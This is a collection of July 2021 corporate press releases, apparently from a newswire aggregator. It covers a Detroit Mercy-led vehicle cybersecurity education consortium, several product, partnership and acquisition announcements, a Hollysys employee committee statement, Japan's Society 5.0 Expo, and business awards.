Led by Detroit Mercy, the consortium consists of multiple academic institutions in southeast Michigan and includes University of Arizona as a research partner. This consortium will enhance the cybersecurity engineering workforce through an applied curriculum developed in consultation with industry partners. It also supports upskilling and reskilling for vehicle cybersecurity by prioritizing underrepresented populations, military personnel and veterans. Instruction will begin this fall.

The grant is awarded through Griffiss Institute's Virtual Institutes for Cyber and Electromagnetic Spectrum Research and Employ (VICEROY) program, which establishes cyber institutes at higher learning institutions with the purpose of critical cyber operational skill development for future military and civilian leaders.

The Metro-Detroit Regional Vehicle Cybersecurity Institute initially includes Detroit Mercy, pipeline institutions Washtenaw Community College, and Macomb Community College, and University of Arizona, which will provide research support to the consortium through its research institute that was established in 2014.







University of Michigan and Henry Ford College will join the consortium during the 2023-24 academic year.

Paul Spadafora, director of Professional Engineering Programs for Detroit Mercy's College of Engineering & Science, said it's important to establish the consortium because cybersecurity is a growing threat.

"Without an increase to the workforce now, the cybersecurity risk to DoD and commercial ground vehicles will keep falling further behind threats from actors in multi-domain contested environments," said Spadafora, who is a co-principal investigator for the consortium, along with College of Engineering & Science Dean Katherine Snyder.

The U.S. Bureau of Labor Statistics reports that employment of cybersecurity engineers will grow 31% between 2019-29.

Curriculum for the consortium will be developed with the workforce in mind. It includes associate, undergraduate, graduate and doctoral degrees, stackable graduate certificates, hands-on laboratory training and cybersecurity immersion camps for high school students.

Kevin Tierney, vice president of Global Cybersecurity at General Motors and chairman of the Automotive Information Sharing and Analysis Center, sees the automotive industry's shortage of cybersecurity personnel firsthand.

"We envision that the Metro-Detroit Regional Vehicle Cybersecurity Institute will lead in the education of our current and future company employees, expand the competency of our workforce to design and protect secure physical cyber systems, including those in electric and autonomous vehicles," Tierney said.

View original content:https://www.prnewswire.com/news-releases/us-department-of-defense-awards-detroit-mercy-led-cybersecurity-consortium-1-12-million-grant-301334078.html

SOURCE University of Detroit Mercy
[July 13, 2021] Pocketstop Announces RedFlag Integration With Microsoft Teams

DALLAS, July 13, 2021 (GLOBE NEWSWIRE) -- Companies using Microsoft Teams can now integrate with Pocketstops emergency mass notification system, RedFlag. This will add a widely popular communication channel as a new communication medium for companies to send critical information in the event of an emergency/crisis situation.

This new integration will give companies another channel to enhance safety and communication, said Daniel Wagstaff, CEO at Pocketstop. With the integration of Microsoft Teams to RedFlag, businesses will have a highly popular communication channel to send critical information. The RedFlag integration of Microsoft Teams will allow recipients to receive a desktop notification when a message is sent from the emergency mass notification system. In addition, this will further extend RedFlags geographic reach worldwide since these notifications will enable users of the mobile app to receive them regardless of the country they are in. RedFlag users can also receive on the ground intelligence through Microsoft Teams by polling their recipients and confirming they have read the sent messages. This will allow for comanies to make smart data-based decisions.



This integration will tap into a vast pool of users who utilize Microsoft Teams as a primary communication channel continuing to enhance the ability for RedFlag to reach employees, vendors, and relevant stakeholders with critical information. According to an April 2021 article by The Verge, Microsoft Teams popularity has exploded due to the pandemic forcing employees to work from home. Stats indicate Microsoft Teams had 32 million daily active users before the pandemic but has exploded to 145 million active users as of April 2021. About Pocketstop

Pocketstop is a communication software solutions company who empowers companies to create personalized, automated messages designed to provide rapid ROI backed by the industrys best support at a cost customers can afford. Our commitment to excellence propelled us to become the industrys pioneer in innovative and effective technologies with a portfolio of customer-focused products designed to drive audience behavior, improve efficiency, provide insight and actionable data for decision making and improve ROI to our customers by improving their existing internal or customer communication strategies. For more information, visit https://pocketstop.com.

Contact:

Manuel Valles Tellez, Marketing Director

Phone Number: + 1-214-368-4170 106

Email: manuel.tellez@pocketstop.com







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[July 13, 2021] Simple Mart Triples 2020 Revenues with Triple Stimulus Vouchers Combined with Digital Transformation Plans

TAIPEI, July 14, 2021 /PRNewswire/ -- Simple Mart is a Taiwanese supermarket chain focusing on the needs of families in neighborhood communities. It was founded by Mercuries subsidiary Simple Mart Retail in 2006. Simple Mart's business model consists of establishing shops in residential areas to make it easier for people to purchase daily necessities on their way home from work. Simple Mart offers the accessibility of convenience stores but with better value due to their small package size; at the same time, it provides the diversity of goods offered by supermarkets and hypermarkets in a smaller, customer-friendly and quick-service store. When mobile payment systems were developed, Simple Mart joined LINE Pay in 2018 and established its own digital membership in 2019. In 2020, the number of offline members of the app grew to 2 million. At the same time, Simple Mart launched its digital membership business model with a multi-channel point reward system in cooperation with LINE Shopping. By the end of 2019, there were as many as 720 offline stores throughout Taiwan; thanks to the digital membership system, Simple Mart customers can make purchases with mobile payments both online and offline. The pandemic has had a global impact on people's habits and pursuits since 2020. Simple Mart, a chain that's always there for the day-to-day nees of their customers, responding to this change with its own Simple Mart Stimulus Vouchers to complement the Taiwan's Triple Stimulus Vouchers. This voucher set included a Mask Pre-Order Voucher, allowing customers to pre-order a box of 50 masks with a $200-NT-value Triple Stimulus Voucher; a $75-NT-value and two $30-NT-value Bonus Vouchers, which can be used in conjunction with Triple Stimulus Vouchers; and Co-branding Vouchers, which stimulate cross-platform spending by customers with allied companies such as Eslite, Uber Eats, Tomod's, and Burger King. Not only did this set of vouchers help customers financially, it also demonstrated how the authority and businesses can work together to promote public spending. According to reports, Simple Mart's sales on household goods grew by 30% in 2020 as a result of its collaboration with Triple Stimulus Vouchers.





2020 marks the first year of the digital transformation for Simple Mart. The Digital Applications Division was established under the IT Department to focus on digital transformation and precision marketing through electronic payments, digital marketing, and big data services with user tags. Simple Mart did not just develop its own platform; it also incorporated a wide range of electronic payment methods from different technical service providers. The goal is to increase customer familiarity with and use of technology and to reduce risks associated with marketing innovation. According to Simple Mart, electronic payments now exceed 10% of all payments, and that number is still growing. As the pandemic continues, Simple Mart has embraced the new digital consumption ecosystem with its advantageous digital platforms and business ecosystem by creating a new business model and optimizing the customer shopping experience. SOURCE Simple Mart

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[July 13, 2021] Statement From Hollysys Trust Equity Committee

The following is a statement from Hollysys Trust Equity Committee: Hollysys is a high-tech company providing automation and information solutions for industry and infrastructure. Hollysys not only bears the responsibility for the interests of all investors and the career of thousands of employees, but also bears the service responsibility for tens of thousands of customers. Moreover, Hollysys also bears many social responsibilities. Thanks to the culture, values and beliefs of Hollysys, namely serving customers sincerely and integrity first, Hollysys has achieved steady growth over the years. The company culture and spirits are the cornerstones of Hollysys. Hollysys Trust Equity Committee (the "Committee") is the management organization of the stock equity incentive trust platform dedicated for Hollysys employees, which is adopted to motivate current and future backbone employees. The trust platform now includes 4,144,223 shares of HOLI that are held by Ace Lead Profits Limited ("Ace Lead"). A large number of Hollysys backbone employees indirectly hold the shares of HOLI through trust contrats with Ace Lead. The representative of the employees who hold the shares have filed a lawsuit against Mr. Shao Baiqing and Ace Lead in Hong Kong High Court, and the dispute is still under legal process.



The buyer consortium consisting of Mr. Shao and Ace Lead initiated an offer to take Hollysys private after Mr. Shao's removal by Hollysys Board of Directors. This offer infringes on the interests of employees and deviates from the basic values and spirits of Hollysys. As a former CEO, Mr. Shao's very personal behavior is firmly opposed by the Committee and employees! Whereas the facts above, the declaration as follows:

1. The Committee believes that Mr. Shao's offer is an act of personal revenge after his dismissal by Hollysys. The offer he initiated shall be regarded hostile and must not be supported by the Committee and employees. 2. In order to promote the growth of Hollysys and to maximize the shareholder benefits, the Committee and employees welcome any proposal in good faith. 3. The Committee will support Hollysys to adjust its future direction according to those non-hostile proposals suggested by shareholders and other potential investors, including taking Hollysys private, introducing strategic investors, etc. 4. The Committee expects that shareholders and potential investors keep direct communication with Hollysys regarding any non-hostile proposal. 5. Last but not least, the Committee, on behalf of Hollysys backbone employees and for the sake of their interests, urged Ace Lead to immediately pay off the Trust Stock dividends owed to employees of the fiscal year 2020, which are currently held in Ace Lead accounts over 8 months. Hollysys Trust Equity Committee

July 14, 2021 View source version on businesswire.com: https://www.businesswire.com/news/home/20210713006228/en/

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[July 13, 2021] Johnson Controls Helps Customers in Asia Pacific Meet Decarbonization and Sustainability Goals

Standard Chartered Bank, Rose Theater and the Beijing Municipal Administrative Center partner with Johnson Controls to improve energy efficiency and significantly reduce carbon emissions

Partnerships involve practical yet holistic approaches around digitalization, retrofitting and the use of heat pumps to meet increased demand for net zero goal setting

Johnson Controls OpenBlue digital platform and services for optimizing buildings can drive 50% and more in improvement in energy efficiency and corresponding carbon emissions SINGAPORE, July 14, 2021 /PRNewswire/ -- Johnson Controls (NYSE: JCI), the global leader for smart, healthy and sustainable buildings, today announced three landmark partnerships with companies in Asia Pacific to help meet their environmental, social and governance (ESG) goals as well as net zero carbon commitments. Digitalization of building systems for Standard Chartered Bank, multiple sites across Asia Pacific

Johnson Controls collaborated with CBRE and Standard Chartered Bank to implement its OpenBlue Enterprise Management (OBEM) system  a cloud-based solution that identifies and resolves energy and operational inefficiencies  in the Standard Chartered Hong Kong office. The successful pilot saw 7% annual energy savings and won the International Facility Management Association Award of Excellence in 2020. To date, OBEM has been installed in more than 20 of the Bank's office sites and will eventually cover more than 90 buildings across Asia Pacific , including China , India , Malaysia , Republic of South Korea , Singapore and Thailand . This digitalization effort establishes a strong foundation for sustainability management for Standard Chartered Bank, which is committing to net-zero carbon emissions from its own operations by 2030.



, including , , , Republic of , and . This digitalization effort establishes a strong foundation for sustainability management for Standard Chartered Bank, which is committing to net-zero carbon emissions from its own operations by 2030. Retrofit with energy performance contracting for Rose Theater, Japan

Located at the foot of Mount Fuji, th e R ose Theater adopted energy performance contracting for its retrofit to improve its energy and operational efficiency after over 25 years of operations. Johnson Controls offered an advanced energy saving estimation that allowed the customer to receive public subsidy. The proposal consisted of a 15-year energy performance contract which included Metasys, Air Handling Unit (AHU) inverter and its overhaul, a carbon dioxide monitoring system for inverter control and various efficient heating systems. Johnson Controls solutions resulted in a more comfortable indoor environment, and an efficient facility management for the various amenities on-site, including auditoriums as well as exhibition, meeting, tea-ceremony and practice rooms. With this retrofit, the Rose Theater will be able to reduce energy consumption by 39% and carbon dioxide emissions by 42%, while shaving 40% off energy costs. The entire retrofit was completed ahead of time so the Rose Theater could reopen earlier than planned.



Heat pump application in Beijing Municipal Administrative Center, China

Beijing Municipal Administrative Center is now a low-carbon eco-city showcase for the efficient use of geothermal energy. Johnson Controls partnered with the Center to build an efficient, intelligent and reliable large-scale district heating and cooling system. In a single heating season of four months, the heat pump system could replace 12 million cubic meters of natural gas consumption, equivalent to savings of 15,000 tons of standard coal, 40,000 tons of carbon dioxide emission reduction, and 100,000 additional trees planted around the energy station. The solution comprises four ground-source heat pump systems with a total capacity of 39 megawatts installed in one of the energy stations, which provides efficient central heating and cooling for the administrative offices with total building area of about 960,000 square meters using geothermal energy. Visal Leng, Vice President and President, Building Solutions, Asia Pacific, Johnson Controls, said, "We recognize the growing commitment of companies to decarbonize and the challenges they face, including capital and knowledge gaps. By working with a range of customers across the region, we have found innovative pathways for them to achieve their sustainability goals. Our OpenBlue digital technology is proven to reduce energy consumption considerably and reduce environmental footprint significantly."

Heat pump technology is available but underutilized in Asia Pacific. Heat pumps can be applied in many industries where hot water is used abundantly such as in food production, semiconductor manufacturing and hotels. There is immense potential to reduce carbon emissions by replacing boilers and furnaces, which use fossil fuels, with heat pumps. Not only are heat pumps three to four times more energy-efficient than boilers and furnaces in general, but they also can render the heating process carbon-neutral when paired with renewable energy. Mr. Leng added, "In APAC, we are seeing increasing interest in heat pumps, particularly from countries with stricter environmental regulations such as New Zealand and companies with carbon-reduction goals." The breadth of the Johnson Controls portfolio  in terms of size, efficiency and temperature range  is world-class, and continues to help customers reduce their carbon emissions. Energy efficiency continues to be the low-hanging fruit for decarbonization in the built environment sector. The pandemic has disrupted the commercial property sector and underscored the need for better indoor air quality, resulting in greater need for retrofit. This is a window of opportunity to build back better. To defray some upfront capital costs, companies can tap into green incentives and loans available by the government and banks. "The need and demand for a 360-degree net zero carbon solution is clear. Businesses, governments and global coalitions have all set ambitious sustainability goals over the next two decades, with many aspiring for decarbonization by 2030," said Katie McGinty, vice president & chief sustainability, government and regulatory affairs officer at Johnson Controls. "Our OpenBlue fully open architecture platform can drive 50% and more in energy efficiency improvement and corresponding carbon emissions. We know that decarbonization of buildings is part of the solution as buildings represent some 40% of global emissions." Digitalization is a key enabler for companies and organizations to achieve net zero by 2050 or before. Johnson Controls offers solutions that guide customers at different stages of their digitalization journey to deliver on net-zero outcome and risk management goals. For example, getting equipment connected to the cloud with analytics for optimization is part of its ongoing OpenBlue service and solutions offering. The company is also working with the largest developers and most forward-looking educational institutions in the region to figure out pathways towards autonomous buildings through digital twins and artificial intelligence. Johnson Controls has already set ambitious emissions reductions targets, which were recently approved by the Science Based Targets Initiative  an independent organization that assesses corporate sustainability claims. As part of its environmental sustainability commitments, Johnson Controls aims to cut operational emissions by 55% and reduce customers' emissions by 16% before 2030. Its OpenBlue platform for optimizing building sustainability will be central to fulfilling these goals and ultimately creating an environment for healthy people, healthy places and a healthy planet. About Johnson Controls: At Johnson Controls (NYSE:JCI), we transform the environments where people live, work, learn and play. As the global leader in smart, healthy and sustainable buildings, our mission is to reimagine the performance of buildings to serve people, places and the planet. With a history of more than 135 years of innovation, Johnson Controls delivers the blueprint of the future for industries such as healthcare, schools, data centers, airports, stadiums, manufacturing and beyond through its comprehensive digital offering, OpenBlue. With a global team of 100,000 experts in more than 150 countries, Johnson Controls offers the world's largest portfolio of building technology, software as well as service solutions with some of the most trusted names in the industry. For more information, visit www.johnsoncontrols.sg or follow us on Johnson Controls APAC LinkedIn Page. SOURCE Johnson Controls

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[July 13, 2021] Icertis Recognized as the Winner of 2021 Microsoft AI Partner of the Year

- First and Only Contract Lifecycle Management Company Recognized by Microsoft for AI Leadership and as a Global ISV Partner of the Year Finalist BELLEVUE, Wash., July 14, 2021 /PRNewswire/ -- Icertis, the contract intelligence company that pushes the boundaries of what's possible with contract lifecycle management (CLM), announced today that it has won the Artificial Intelligence (AI) 2021 Microsoft Partner of the Year Award and been named a Finalist of the Global ISV Microsoft Partner of the Year Award for the fourth year in a row. Icertis was honored among a global field of top Microsoft partners for demonstrating excellence in innovation and implementation of customer solutions based on Microsoft technology. "We are elated to be recognized with the top honor for AI innovations by the most-respected software company in the world. No Microsoft partner in the contract management space has been named a finalist or winner in this categoryuntil today," said Samir Bodas, CEO and Co-founder of Icertis. "In a world of endless data, contract data reigns supreme. Contracts are the foundation of all commerce, and the Icertis Contract Intelligence (ICI) platform sets the standard for AI use in discovering, visualizing, and optimizing this critical resource across enterprises and ecosystems." The Microsoft Partner of the Year Awards recognize partners that have developed and delivered outstanding Microsoft-based solutions during the past year. Awards were classified in various categories, with honorees chosen from among 4,400 submissions across more than 100 countries worldwide. Icertis' decade-long and growing Microsoft relationship, was recognized in two award categories this year: 1. AI Partner of the Year: This award recognized the top Microsoft partner that designed, developed, and deployed high- value, customer-centric AI Solutions using Azure AI. Icertis AI applications apply machine learning to build predictive models that optimize contracting processes and uncover contracting insights that are critical in strategic decision making. The models are trained on the more than 10,000,000 contracts Icertis manages for its customers worldwide. A recent McKinsey survey on " The State of AI in 2020 " found that 50% of respondents have implemented AI in at least one business function and some leading adopters of these technologies attribute 20% or mre of their organizations' earnings before interest and taxes (EBIT) to AI. Icertis' high-value AI applications enable companies to address previously intractable contract challenges, including digitizing legacy contracts at scale and analyzing contract terms to improve sales negotiations and gain intelligent insights about terms, obligations, and risks. Notable examples of customers that are benefiting from the Microsoft and Icertis partnership and solutions in AI include:



HERE Technologies - "The Icertis DiscoverAI app rapidly digitized and analyzed more than 70,000 legacy HERE and third-party contracts, allowing us to unlock critical contractual terms to improve our business."  Simon Anolick , Director Legal Counsel at location data and technology platform company HERE Technologies.

- "The Icertis DiscoverAI app rapidly digitized and analyzed more than 70,000 legacy HERE and third-party contracts, allowing us to unlock critical contractual terms to improve our business."  , Director Legal Counsel at location data and technology platform company HERE Technologies. Sanofi - "With its intuitive interface and the ability to be customized to suit an individual's unique requirements, users have quickly adopted the new system and are now creating 400 contracts within ICI each month."  Celine Arquizan, Head of Strategy and Development for the Contracting Center of Excellence at Sanofi. 2. Global ISV Partner of the Year: This award recognized the top Microsoft globally managed Independent Software Vendor (ISV) that has demonstrated strong customer focus and success by partnering deeply with Microsoft on a global scale. Icertis was named a Finalist in this category for the fourth consecutive year, standing out among the more than 100,000 partners in Microsoft's extensive ecosystem. This builds on Icertis' previous Microsoft award recognitions, including the 2018 Microsoft US Partner of the Year Award and the 2019 Microsoft US Partner of the Year Award for Manufacturing & Resources. The relationship that Icertis has with Microsoft empowers every organization to transform their contracts into strategic advantage by connecting them to the systems and processes they touch organization-wide. The Icertis Contract Intelligence (ICI) platform is natively-built and runs exclusively on Microsoft Azure and integrates with Microsoft products and more than 60 Azure services including Azure AI, Microsoft 365, Dynamics 365, and Microsoft Teams.

"I am honored to announce the winners and finalists of the 2021 Microsoft Partner of the Year Awards," said Rodney Clark, corporate vice president, Global Partner Solutions, Channel Sales and Channel Chief, Microsoft. "These remarkable partners have displayed a deep commitment to building world-class solutions for customersfrom cloud-to-edgeand represent some of the best and brightest our ecosystem has to offer." The award recognitions follow numerous CLM market leadership accolades so far this year, including being the only CLM vendor named to the Forbes AI 50 list every year since its inception, winning SAP Partner of the Year : SAP Store Category, and being named a Leader in both the 2021 Gartner Magic Quadrant for Contract Life Cycle Management (CLM), as well as The Forrester Wave : Contract Lifecycle Management for All Contracts, Q1 2021. Icertis will showcase its award-winning ICI platform and speak at Microsoft Inspire July 14-15. For more information about Icertis, visit www.icertis.com . About Icertis With unmatched technology and category-defining innovation, Icertis pushes the boundaries of what's possible with contract lifecycle management (CLM). The AI-powered, analyst-validated Icertis Contract Intelligence (ICI) platform turns contracts from static documents into strategic advantage by structuring and connecting the critical contract information that defines how an organization runs. Today, the world's most iconic brands and disruptive innovators trust Icertis to govern the rights and commitments in their 10 million+ contracts worth more than $1 trillion, in 40+ languages and 90+ countries. Contact: Liza Colburn

Director of Corporate Communications, Icertis

Liza.colburn@icertis.com

+1 (781) 562-0111 Logo: https://mma.prnewswire.com/media/1515204/icertis_Logo.jpg SOURCE Icertis

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[July 14, 2021] Cabinet Office to Organize Society 5.0 Expo to Showcase Japan's Advanced Technologies and Achievements

The Government of Japan's Cabinet Office announced that it will organize the Society 5.0 Expo jointly with the Japan Agency for Marine-Earth Science and Technology (JAMSTEC) from 15 July at TOKYO SKYTREE TOWN in Tokyo, Japan. This is expected to be Japan's first major expo to focus on Society 5.0. The expo will also be viewable online with multilingual explanations for the global audience. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210713006253/en/ [From upper-left] SHINKAI 6500, HAYABUSA2, Wearable Cyborg, Active scope camera for rescue [From lower-left] Ultra-thin and flexible tough polymer, Rescue robot, Small synthetic-aperture radar satellite (SAR), Communication robot, Flying car, Level-3 autonomous vehicle (Photo: Business Wire) The expo will showcase the Society 5.0 concept proposed by the Japanese government as a highly desirable future society. The concept envisions the creation of a human-centered society in which all industries and other areas of society adopt AI, IoT, robots, big data and other innovative technologies to overcome critical challenges. The Cabinet Office's 6th Science, Technology and Innovation Basic Plan covering fiscal 2021 to 2025 sets forth the direction of science, technology and innovation policies to secure sustainability, resilience and the well-being of diverse individuals. The expo will present achievements being realized through national projects focused on increasing innovation in society, including the cross-ministerial strategic innovation promotion program (SIP) and the ImPACT program for stimulating high-risk, high-impact R&D. Japan's scientific and technological aspirations will be conveyed through numerous displays of advanced technologies. Specifically, some 50 leading Japanese companies, universities and organizations will exhibit approximately 200 products and research achievements that are expected to contribute not only to Society 5.0 but also the UN's Sustainable Development Goals. The exhibits will cover fields such as mobility, healthcare and caregiving, manufacturing, agriculture, food, disaster prevention and energy, including: Asteroid-explorer Hayabusa2's returned capsule

Full-scale model of SHINKAI 6500 submersible piloted to 6,500 meters undersea

SkyDrive flying car

Honda (News - Alert) Legend Level-3 autonomous vehicle with high-definition 3D mapping

Model of small synthetic-aperture radar satellite system for on-demand launches and instant observation

HAL wearable cyborg that transmits brain signals to human muscles for assistance with physical functions

Disaster-prevention systems for heavy rain and tornado forecasting and ICT-based information sharing

Smart agriculture technology, such as an automated water supply and drainage system International viewers will be welcome to enjoy the many exhibits viewable online via mobile devices and PCs, supported with explanations available in a number of languages. The organizers will be pleased to present the virtual exhibition as an opportunity for the global community to learn more about Japan's forward-looking Society 5.0 concept. Exhibits will be grouped under the follow themes: Stage 1 Prologue The opening theme will present a full-scale model of the SHINKAI 6500 research submersible and a Dagik Earth three-dimensional digital globe, etc. Satellite-based technologies that are being deployed on a practical working basis in various sectors also will be introduced. Stage 2 Science Frontiers-Space and Ocean Exhibits of Japan's world-class space-exploration technology will include models of the International Space Station, the "Kibo" Japanese Experiment Module, a full-scale rocket engine, and the Hayabusa2 return capsule. Exhibits of Japan's ocean exploration and environmental-simulation technology will include autonomous underwater vehicles for exploring hydrothermal vents and ocean-floor resources and advanced solutions for ocean research. Stage 3 5.0 Society of the Future Science and technologies developed through Japan's SIP and ImPACT programs and how they will help to enhance life in five areas: 1) 100-year lifespans, 2) Mobility and social interaction, 3) Infrastructure for more resilient and safer life, 4) Human- and earth-friendly lifestyles and 5) Advanced manufacturing. Exhibits will include automated solutions such as robots, vehicles and drones, disaster-prevention systems such as AI for infrastructure inspections, robotic industrial borescopes, next-generation energy and resources such as ammonia fuel and ocean-floor minerals, and advanced materials such as synthetic spider silk and strong but flexible ultra-thin polymers. Stage 4 Trajectory toward Society 5.0 The evolution of human civilization will be presented through videos and other visuals portraying Society 1.0 (hunting & gathering), 2.0 (agriculture), 3.0 (industry) and 4.0 (information) as well as 5.0 (at TOKYO SKYTREE Tembo Galleria, the closest point to space in Tokyo). Stage 5 Society 5.0 Theater Films from the Japan Aerospace Exploration Agency (JAXA) and JAMSTEC will be aired. Also, researchers and experts will give presentations about science, oceans, disaster prevention and ICT for advanced technology and innovation. Please download official images from here. Outline of Society 5.0 Expo







Organizers Cabinet Office and Japan Agency for Marine-Earth Science and Technology (JAMSTEC) Venue Exhibition areas within TOKYO SKYTREE TOWN - Pavilion at TOKYO SKYTREE TOWN Sky Arena (4F) - TOKYO SKYTREE TOWN Solamachi Square (1F) - TOKYO SKYTREE Group Floor (1F) - TOKYO SKYTREE Tembo Galleria - TOKYO SKYTREE TOWN campus of Chiba Institute of Technology Dates 15 July to 5 September 2021 - Physical exhibitions by enterprises (15 July to 19 July) - Physical exhibitions by other organizations (15 July to 28 July) - Sub-exhibition by posters and videos (15 July to 5 September) - Virtual exhibition (17 July to 5 September) with multi-language explanations

(English, French, Spanish, Chinese, Arabic and Japanese) Admission Free (Admission to sub-exhibition by ticket, sold at TOKYO SKYTREE Tembo Galleria) Exhibitors and partners Please refer to the list on the official website

View source version on businesswire.com: https://www.businesswire.com/news/home/20210713006253/en/

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[July 14, 2021] CI&T Acquires Dextra to Scale Local and Global Operations

BRISBANE, Australia, July 14, 2021 /PRNewswire/ -- CI&T , a digital specialist for global brands, today announced the acquisition of Dextra, a Brazilian based software development company that creates end-to-end digital products. This acquisition is part of CI&T's ongoing effort to amplify its capabilities and build a stronger global market presence. Dextra has over 1,200 experienced digital professionals, top-tier clients in Brazil and the U.S., and has developed a similar culture to CI&T focused on being lean, agile and providing full digital solutions. Dextra creates end-to-end digital products, from innovation and design to running secure and scalable software, which complements CI&T's current offering. "We are thrilled about the opportunity to grow and expand our operations tgether with Dextra, a company that we have always admired and respected. The market demand is very high and together our offering is even stronger," celebrated Cesar Gon, CI&T's founder and CEO.



This acquisition further cements CI&T's market leader position in Brazil, increases the potential for nearshore opportunities, and will offer more comprehensive and robust solutions for both client portfolios. As both companies share similar cultural building blocks, incorporating the CI&T framework of an adhocratic management system with independent and decentralized decision-making will facilitate a seamless transition and help generate fast and relevant business impact for clients. "Our success at Dextra has the potential to be exponential and global, and we are looking forward to starting our next chapter with CI&T. We are very excited about this new phase for the company," explained Eduardo Coppo, founder and CEO of Dextra.

CI&T will add Dextra's experienced tech professionals, seasoned group of founders and senior management to its global employee base of over 4,000 digital specialists, and clients such as Alelo, Solvay, Serasa Experian and McDonald's, among others. On top of providing a wider range of services to the market, this merger will strengthen CI&T's technical expertise. The deal is subject to regulatory approval. About CI&T CI&T is a digital specialist, a partner in end-to-end digital transformation. As digital natives, we bring a 26-year track record of accelerating business impact through complete and scalable digital solutions. With a global presence of 4,000 professionals in strategy, research, data science, design, and engineering, we unlock top-line growth, improve customer experience and drive operational efficiency. SOURCE ciandt.com

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[July 14, 2021] Microsoft Renews Global Contract with Xandr

Xandr today announced the renewal of a global contract with Microsoft (News - Alert) which sees the extension of existing technology solutions, the introduction of new ventures and follows over ten years of successful partnership. Microsoft is extending its use of Xandr's sell-side platform, Xandr Monetize, and its Global Supply Evangelism relationship with Xandr, as Microsoft expands and diversifies its monetization strategy, focusing on increasing Microsoft's unique audiences for advertisers across premium display, video and native supply in more than 100 countries. Concurrently, Microsoft is increasing its marketing spend that runs through Xandr's Invest DSP and extending the Microsoft Audience (News - Alert) Network demand platform to bid in the Xandr Marketplace. "We always seek to align our partnership opportunities to serve the best interests of and to directly benefit the marketers and agencies looking to drive growth through our unique Microsoft audience. Our renewal with Xandr, after ten successful years of partnership, extends globally-scaled programmatic access to Microsoft's audience that marketers rely on today," said Kya Sainsbury-Carter, VP, Global Partner Sales at Microsoft. "Our holistic relationship with Microsoft is entrenced in innovation and collaboration. We deeply value their continued trust in our platform and team to support formats that are so critical to the future of our advertising business," said Dave Osborn, Senior Vice President, North America Commercial & Global Partnerships, Xandr. "Microsoft's international growth on Xandr, across the buy- and sell-sides, and across leading formats like video and native, are critical components of our global marketplace as Xandr builds to support campaigns that span screens."



With multiple consumer properties, including Microsoft News, MSN and Outlook.com, Microsoft has leveraged Xandr's global technology solutions to connect its unique audiences programmatically to advertisers through both video and omnichannel demand at scale. As digital advertising budgets shift to video, Microsoft ramped up video monetization efforts supported by Xandr's video technology solutions and unique video demand. Initially, Microsoft launched on Xandr Monetize with a single video ad format in one market and quickly expanded to three formats and into over sixty global markets. Those three video ad formats include instream pre-roll, outstream in-article and "BannerStream" which enables multiple media types to participate in a single unified auction. Most recently, Microsoft was an early adopter of Xandr's simplified server-side header bidding solution, Prebid Server Premium. With the technology, Microsoft consolidates its demand for video and native through the tools on Xandr Monetize, allowing for efficient private marketplace (PMP) buying and providing advertisers a unified path to access Microsoft supply.

On the buy-side, Microsoft has augmented its media spend through Xandr's Invest DSP as one of its primary DSPs for marketing campaigns. In 2020, Xandr joined the Microsoft Audience Network, which serves "Microsoft Audience Ads," the only native advertising solution built by its trusted search platform, Microsoft Bing. Xandr has integrated premium third-party supply in the network, giving buyers the ability to target Microsoft unique audiences at scale across premium international native supply through Xandr Monetize. ABOUT XANDR A business unit within AT&T (News - Alert) , Xandr powers a global marketplace for premium advertising. Our data-enabled technology platform, encompassing Xandr Invest and Xandr Monetize, optimizes return on investment for both buyers and sellers. For more than 143 years, AT&T has used data and technology to inform and improve the consumer experience. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005119/en/

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[July 14, 2021] Big Path Capital Announces List Honoring the Leading CEOs of the Impact Economy

Nominations are now open for the MO 100 Top Impact CEO Ranking, the first list honoring the leading chief executives of fast-growing companies in the most dynamic segment of the economy. Unlike existing lists that rank impact-minded companies, the MO 100-presented by Big Path Capital, impact investing's investment bank-shines a spotlight on the catalysts who are sparking positive environmental and social change through the private companies they run. "The MO 100 Top Impact CEOs are also evangelists championing a new vision of capitalism in which every transaction represents an opportunity to create positive outcomes for a broader set of stakeholders," said Michael Whelchel, Co-Founder and Managing Partner of Big Path Capital, which connects purpose-driven companiesand fund managers with mission-aligned investors.



"Values such as sustainability, social justice, and racial equity don't arise organically. Business leaders must plant those seeds and nurture those goals," said Shawn Lesser, Co-Founder and Managing Partner of Big Path. "We hope these awards inspire a new generation of executives who embrace the notion that you can focus on purpose and profits at the same time." To apply for consideration, visit the MO 100 website. Nominees for the MO 100 will be determined based on their "force for good," a formula that factors in a company's total revenues, sales growth rate, and its B Impact Assessment, a standard developed by B Lab to assess a company's true impact. Applications must be submitted by Oct. 31, 2021, and the winners will be announced in February 2022. On April 19-20, 2022, the Top Impact CEOs will be honored at Big Path Capital's MO Summit, to be held in Portland, OR.

About Big Path Founded in 2007, Big Path Capital is the leading investment bank for positive impact companies and funds. With one of the largest networks of impact investors, Big Path has worked with more impact companies and funds than any other investment bank in the world. Companies and funds engage Big Path Capital for capital raises, company exits, and founder and shareholder liquidity. Big Path is proud to be a certified B Corporation since 2007. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005068/en/

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[July 14, 2021] Frost & Sullivan Best Practices Recognition Honors Industry-leading Companies at the 2021 Asia-Pacific Virtual Awards Ceremony

SINGAPORE, July 14, 2021 /CNW/ -- Frost & Sullivan honored leading companies in the region at the 19th annual Asia-Pacific Best Practices Awards on 14 July. At its first virtual awards ceremony of the year, Frost & Sullivan presented 16 awards to Asia-Pacific's leading organizations for elevating performance benchmarks and for their outstanding industry achievements. Congratulating the 2021 winners and recognizing their best-in-class performance, Senior Vice President Sapan Agarwal of Frost & Sullivan in Asia-Pacific said, "This year, we turn 60 as an organization ourselves, and over these years, companies that have inspired us the most are the ones who have been part of the solution to address global challenges. Award recipients tonight have rediscovered business models, redesigned value chains, and have successfully recreated foundations for sustained growth amid the unprecedented disruption by the Covid-19 pandemic." The award recipients were identified using Frost & Sullivan's proprietary, measurement-based methodology derived from extensive primary and secondary research, in-depth interviews, analyses, and industry benchmarking. Numerous award categories were carefully reviewed and evaluated to reflect the current market landscape and highlight emerging trends in Asia. A detailed study was further conducted on each of the nominated companies, focusing on real-time performance indicators, such as market share, revenue growth, customer acquisitions, product/service value, and technology innovation. The companies that emerged represent outstanding leaders that are driving positive trends in the Asia-Pacific economy.







